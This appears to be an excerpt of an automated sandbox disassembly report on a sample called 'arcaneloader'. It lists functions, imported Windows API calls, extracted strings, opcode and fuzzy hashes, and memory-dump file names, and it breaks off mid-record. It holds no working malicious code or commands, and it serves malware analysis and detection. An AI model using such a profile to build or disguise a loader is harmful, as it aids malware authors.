Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0479b11c2ac912cae0977bb37041675096f3d1c32c0b643b09895c950e7550d
Instruction ID: c26ca95b0cd6fe3c8a67b2ee6674c401bf3475512e8854658906a33b05a9d87b
Opcode Fuzzy Hash: b0479b11c2ac912cae0977bb37041675096f3d1c32c0b643b09895c950e7550d
Instruction Fuzzy Hash: ABF02E7B71E55507F610CD6AACC462FF357E7C6354B1A413DE846E3280C579E802F2A8

Function 0042E7F5 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b87cf70656796013960e9dc3c3036a6de002e5fb4714379f15f406f9eb3b9b
Instruction ID: d03b0b7d5e5ad3c5db16c5d658807742262872709275fd771e772957be1221bf
Opcode Fuzzy Hash: 32b87cf70656796013960e9dc3c3036a6de002e5fb4714379f15f406f9eb3b9b
Instruction Fuzzy Hash: 51D0A779B871454BE3054B20DC02652A7236793210B0DA666D000D3389CABC8005414D

Function 00DC4CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00DC4CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00DC4CC4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00DC4CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00DC4CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00DC4CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00DC4D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00DC4D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00DC4D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00DC4D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00DC4D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00DC4D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00DC4D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00DC4D7F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00DC4D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00DC4DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00DC4DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00DC4DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00DC4DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00DC4DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00DC4DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00DC4E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00DC4E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00DC4E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00DC4E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00DC4E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00DC4E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00DC4E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00DC4E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00DC4E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00DC4EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00DC4EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00DC4EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00DC4ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00DC4EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00DC4EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00DC4F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00DC4F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00DC4F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00DC4F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00DC4F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00DC4F5B

Strings

CreateSemaphoreW, xrefs: 00DC4D30
kernel32.dll, xrefs: 00DC4CB1
SleepConditionVariableSRW, xrefs: 00DC4EEA
InitializeCriticalSectionEx, xrefs: 00DC4CFD
CloseThreadpoolTimer, xrefs: 00DC4D85
ReleaseSRWLockExclusive, xrefs: 00DC4ED9
GetCurrentProcessorNumber, xrefs: 00DC4DEB
LCMapStringEx, xrefs: 00DC4F50
FlsSetValue, xrefs: 00DC4CEC
FlsFree, xrefs: 00DC4CCA
CreateThreadpoolTimer, xrefs: 00DC4D52
SleepConditionVariableCS, xrefs: 00DC4E95
WakeConditionVariable, xrefs: 00DC4E73
FlsGetValue, xrefs: 00DC4CDB
CreateSemaphoreExW, xrefs: 00DC4D41
InitOnceExecuteOnce, xrefs: 00DC4D0E
SubmitThreadpoolWork, xrefs: 00DC4F0C
AcquireSRWLockExclusive, xrefs: 00DC4EB7
WakeAllConditionVariable, xrefs: 00DC4E84
CloseThreadpoolWork, xrefs: 00DC4F1D
CompareStringEx, xrefs: 00DC4F2E
CreateSymbolicLinkW, xrefs: 00DC4E01
CloseThreadpoolWait, xrefs: 00DC4DB8
GetLocaleInfoEx, xrefs: 00DC4F3F
SetFileInformationByHandle, xrefs: 00DC4E40
CreateThreadpoolWait, xrefs: 00DC4D96
GetCurrentPackageId, xrefs: 00DC4E0D
FreeLibraryWhenCallbackReturns, xrefs: 00DC4DDA
InitializeSRWLock, xrefs: 00DC4EA6
CreateThreadpoolWork, xrefs: 00DC4EFB
GetSystemTimePreciseAsFileTime, xrefs: 00DC4E51
InitializeConditionVariable, xrefs: 00DC4E62
FlushProcessWriteBuffers, xrefs: 00DC4DC9
CreateEventExW, xrefs: 00DC4D1F
WaitForThreadpoolTimerCallbacks, xrefs: 00DC4D74
FlsAlloc, xrefs: 00DC4CBE
GetFileInformationByHandleEx, xrefs: 00DC4E2F
SetThreadpoolWait, xrefs: 00DC4DA7
SetThreadpoolTimer, xrefs: 00DC4D63
GetTickCount64, xrefs: 00DC4E1E
TryAcquireSRWLockExclusive, xrefs: 00DC4EC8

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: c5cfaced3e2ed633bae798d2f1541db5baaa1ad8deea11685f1735d40cfad2e3
Instruction ID: fbf0d75d63f34393194a6a8f384e604e72836146ab152a8fb34acb397a761255
Opcode Fuzzy Hash: c5cfaced3e2ed633bae798d2f1541db5baaa1ad8deea11685f1735d40cfad2e3
Instruction Fuzzy Hash: C76145719A3351AFC7806FF4AD1DCC67BA8AB097127405517B101D3362DBB6A085DFB8

Function 00433F02 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 121COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00433F46

Strings

M, xrefs: 00433F75
!, xrefs: 00433F59
H, xrefs: 00433F85
-, xrefs: 00433F8D
%, xrefs: 00433F69
9, xrefs: 00433F7D
D, xrefs: 00433F95
3, xrefs: 00433F9D
', xrefs: 00433F71
@, xrefs: 00433FA5
#, xrefs: 00433F61
3, xrefs: 00433FAD

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID: !$#$%$'$-$3$3$9$@$D$H$M
API String ID: 1927566239-3491661982
Opcode ID: 6596f3c6c5fa30ecbef948ed66d6aff8a3e486b3dccf62827eb513e76a0a78ee
Instruction ID: 121d276aa99c51000fc3499f3d51852a063890485bfd97812fd727c9b46db702
Opcode Fuzzy Hash: 6596f3c6c5fa30ecbef948ed66d6aff8a3e486b3dccf62827eb513e76a0a78ee
Instruction Fuzzy Hash: 6C516871208B818ED716CF3C8898306BFE1AB56324F1886ADD5E98F3D6C778D505C7A2

Function 00434A24 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 111COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00434A54

Strings

!, xrefs: 00434A6D
%, xrefs: 00434A7D
-, xrefs: 00434AA1
3, xrefs: 00434AC1
9, xrefs: 00434A91
3, xrefs: 00434AB1
', xrefs: 00434A85
M, xrefs: 00434A89
@, xrefs: 00434AB9
H, xrefs: 00434A99
#, xrefs: 00434A75
D, xrefs: 00434AA9

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID: !$#$%$'$-$3$3$9$@$D$H$M
API String ID: 1927566239-3491661982
Opcode ID: 711cc6fac76b74d1febc30d7e973bcf1d94bd26a364dfc11f23b028188aa74ed
Instruction ID: dae86be3c6dfad29322893d4b18af5c4809293cba288810d2d0bf3a533e04555
Opcode Fuzzy Hash: 711cc6fac76b74d1febc30d7e973bcf1d94bd26a364dfc11f23b028188aa74ed
Instruction Fuzzy Hash: 50515C61108B818ED715CF3C8889306BFE0AB66324F09869DD5E98F3E7D678D505C7A6

Function 00434CB0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 105COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00434CB8
VariantInit.OLEAUT32 ref: 00434CC4

Strings

], xrefs: 00434CDE
#, xrefs: 00434D26
E, xrefs: 00434CE6
P, xrefs: 00434CF6
), xrefs: 00434D1E
], xrefs: 00434CFE
G, xrefs: 00434D06
#, xrefs: 00434D16
V, xrefs: 00434CEE

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: #$#$)$E$G$P$V$]$]
API String ID: 2610073882-2494522491
Opcode ID: fa35570333ef69b228a5dfec1293bb0407821bcb9b27d0ebc8204184fd8e718a
Instruction ID: ffdf440070372fbd7dfa978b0690f9b4c0eaaad4364bcdb87e5fee263bd6537d
Opcode Fuzzy Hash: fa35570333ef69b228a5dfec1293bb0407821bcb9b27d0ebc8204184fd8e718a
Instruction Fuzzy Hash: B2417971108B828FD715DF3DD888742BFA0AB56324F08869DD9E58F3EAC379D5058B62

Function 004342C7 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 102COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004342CF
VariantInit.OLEAUT32 ref: 004342DB

Strings

P, xrefs: 00434313
#, xrefs: 00434333
], xrefs: 004342FB
), xrefs: 0043433B
#, xrefs: 00434343
E, xrefs: 00434303
G, xrefs: 00434323
V, xrefs: 0043430B
], xrefs: 0043431B

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: #$#$)$E$G$P$V$]$]
API String ID: 2610073882-2494522491
Opcode ID: b153d9bb0c88e19dfe667af7a87021dbae4fc7c83a6461f5e123a05b35094088
Instruction ID: aefb5da6fed8bfdef980abcbf91de1354391c709698abcb039425a60924a68d4
Opcode Fuzzy Hash: b153d9bb0c88e19dfe667af7a87021dbae4fc7c83a6461f5e123a05b35094088
Instruction Fuzzy Hash: 22416971508B828ED715DF3CD888742BFA06B56324F08869DD9A98F3EAC378D5058B62

Function 00DC90D3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00DC91F2
___TypeMatch.LIBVCRUNTIME ref: 00DC9300
CatchIt.LIBVCRUNTIME ref: 00DC9351
_UnwindNestedFrames.LIBCMT ref: 00DC9452
CallUnexpected.LIBVCRUNTIME ref: 00DC946D

Strings

csm, xrefs: 00DC917D
csm, xrefs: 00DC9110
csm, xrefs: 00DC9229

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: f21608f722860e982710fb0dabafe0918c652ef59e6dfdbbab74162a37866079
Instruction ID: f3bd29cb3a248a5f28ff23c6c37f826e9f355f7a34a9f8c83014e68ea1cae416
Opcode Fuzzy Hash: f21608f722860e982710fb0dabafe0918c652ef59e6dfdbbab74162a37866079
Instruction Fuzzy Hash: 36B1793180020AEFCF19DFA4D899EAEF7B5EF04310B58415EE8116B256C731EA52CBB5

Function 00DD0308 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,00DD02F3,?,?,?,?,?,?,?,?,?,?), ref: 00DD03AE
__alloca_probe_16.LIBCMT ref: 00DD0469
__alloca_probe_16.LIBCMT ref: 00DD04F8
__freea.LIBCMT ref: 00DD0543
__freea.LIBCMT ref: 00DD0549
__freea.LIBCMT ref: 00DD057F
__freea.LIBCMT ref: 00DD0585
__freea.LIBCMT ref: 00DD0595

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 5a2b903f34b7874467ac2d7884aafaef13ff659fdf0d7ab49f7c38c397fed8f9
Instruction ID: c7dd95b3e1c1cbb5417dae4e3bece374aa316b24755b2148788f6ab74198d99a
Opcode Fuzzy Hash: 5a2b903f34b7874467ac2d7884aafaef13ff659fdf0d7ab49f7c38c397fed8f9
Instruction Fuzzy Hash: B4719272900246ABDF219EA4A842FAE7FB9DFC9310F18055BED55A7381E775DD008B70

Function 00DC6130 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00DC6167
___except_validate_context_record.LIBVCRUNTIME ref: 00DC616F
_ValidateLocalCookies.LIBCMT ref: 00DC61F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00DC6223
_ValidateLocalCookies.LIBCMT ref: 00DC6278

Strings

csm, xrefs: 00DC620D

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c502f363746e5750f7eb2209ed38b7527fc22a2c59c58d55f767665b3e1a25b2
Instruction ID: baa34977bbfe2d982483de8172dc7703e90a541556c951a917bec9650e2c831f
Opcode Fuzzy Hash: c502f363746e5750f7eb2209ed38b7527fc22a2c59c58d55f767665b3e1a25b2
Instruction Fuzzy Hash: 80418334A0021AEBCF10DF69C855F9EBBA5EF45314F18815EE815AB352D731EA05CBB1

Function 00DC9DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00DC9EE2,00DC41E0,?,00000000,?,?,?,00DC9BEB,00000022,FlsSetValue,00DD3DDC,00DD3DE4,?), ref: 00DC9E94

Strings

api-ms-, xrefs: 00DC9E2A
ext-ms-, xrefs: 00DC9E3E

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 76bd9407f615945589e143c9ca54b6fb1cf5785a4e197797f77447020ec6eed8
Instruction ID: e92e271d86a851d32c14faefc482c576d6b363f78c8943a99b47b3da718d3776
Opcode Fuzzy Hash: 76bd9407f615945589e143c9ca54b6fb1cf5785a4e197797f77447020ec6eed8
Instruction Fuzzy Hash: 50219231A02312ABC72197649C59F5AB75CAB61770F29011AF916E7391D730ED01C6F0

Function 00DBBEB0 Relevance: 9.2, APIs: 6, Instructions: 173fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00DBBF10

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e53ba378cf4501d60d7f6df5fa07752cf93375b6480f3f57448ed8cc696b4317
Instruction ID: 6c15bbe4f77dee12c876aff72d5def21af337261fdd95e1f323b9c2f6c06063e
Opcode Fuzzy Hash: e53ba378cf4501d60d7f6df5fa07752cf93375b6480f3f57448ed8cc696b4317
Instruction Fuzzy Hash: 557113B4A05209DFCB04DFACD9586EEBBF0FB48700F10852AE896AB350D77599458F62

Function 00DC883A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00DC8831,00DC5F0D,00DC55A4), ref: 00DC8848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00DC8856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DC886F
SetLastError.KERNEL32(00000000,00DC8831,00DC5F0D,00DC55A4), ref: 00DC88C1

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f582f3fda17fd5c0f1adf161b3d00b7dc5ef9538b3681158dc68973fb16409e6
Instruction ID: bc0198a69c519071418abe71625078cd804847c60c5700ee0cac2fb97840f8a6
Opcode Fuzzy Hash: f582f3fda17fd5c0f1adf161b3d00b7dc5ef9538b3681158dc68973fb16409e6
Instruction Fuzzy Hash: 3501B53211A3139DEA242AB4BC86F6A2765EF517B4365023FF010C76E1EF218C017274

Function 00DC6F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00DD25EB,000000FF,?,00DC7015,?,?,00DC70B1,00000000), ref: 00DC6F89
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00DC6F9B
FreeLibrary.KERNEL32(00000000,?,00000000,00DD25EB,000000FF,?,00DC7015,?,?,00DC70B1,00000000), ref: 00DC6FBD

Strings

mscoree.dll, xrefs: 00DC6F82
CorExitProcess, xrefs: 00DC6F93

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8df06f3380ac59d06792f2e3e6700fab88e73b3a3510d5b24325358cd0fc221f
Instruction ID: 03d4b4e5e3459ac4a1a583b1ffa2130faace4379d8f4b37952234c9616b1549f
Opcode Fuzzy Hash: 8df06f3380ac59d06792f2e3e6700fab88e73b3a3510d5b24325358cd0fc221f
Instruction Fuzzy Hash: 00016231944719AFDB119F50DC09FAEBBB8FF44B25F04052AE811E2790DBB5D904CAB4

Function 00DCDF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00DCDFA2
__alloca_probe_16.LIBCMT ref: 00DCE06B
__freea.LIBCMT ref: 00DCE0D2

Part of subcall function 00DCBC45: HeapAlloc.KERNEL32(00000000,?,00000000,?,00DC41E0,?,?,00DC1007,?,00DBFAB5), ref: 00DCBC77

__freea.LIBCMT ref: 00DCE0E5
__freea.LIBCMT ref: 00DCE0F2

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 2c1bedd929ccf2bdfce0704a1c4087ca7cc292ce52d6f04f017c76bbe6b23289
Instruction ID: 26dc8e53a790a4cd911ca5249fce85a9d196047c87eceadac8337b2fd4e7b2ae
Opcode Fuzzy Hash: 2c1bedd929ccf2bdfce0704a1c4087ca7cc292ce52d6f04f017c76bbe6b23289
Instruction Fuzzy Hash: FB518DB2600257ABEB215E60CC82FBB7BAAEF44750B19452EF945D7141EBB1CC50E6B0

Function 00DC94F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00DC93FE,?,?,00000000,00000000,00000000,?), ref: 00DC951D
CatchIt.LIBVCRUNTIME ref: 00DC9603

Strings

RCC, xrefs: 00DC9537
MOC, xrefs: 00DC952F

Memory Dump Source

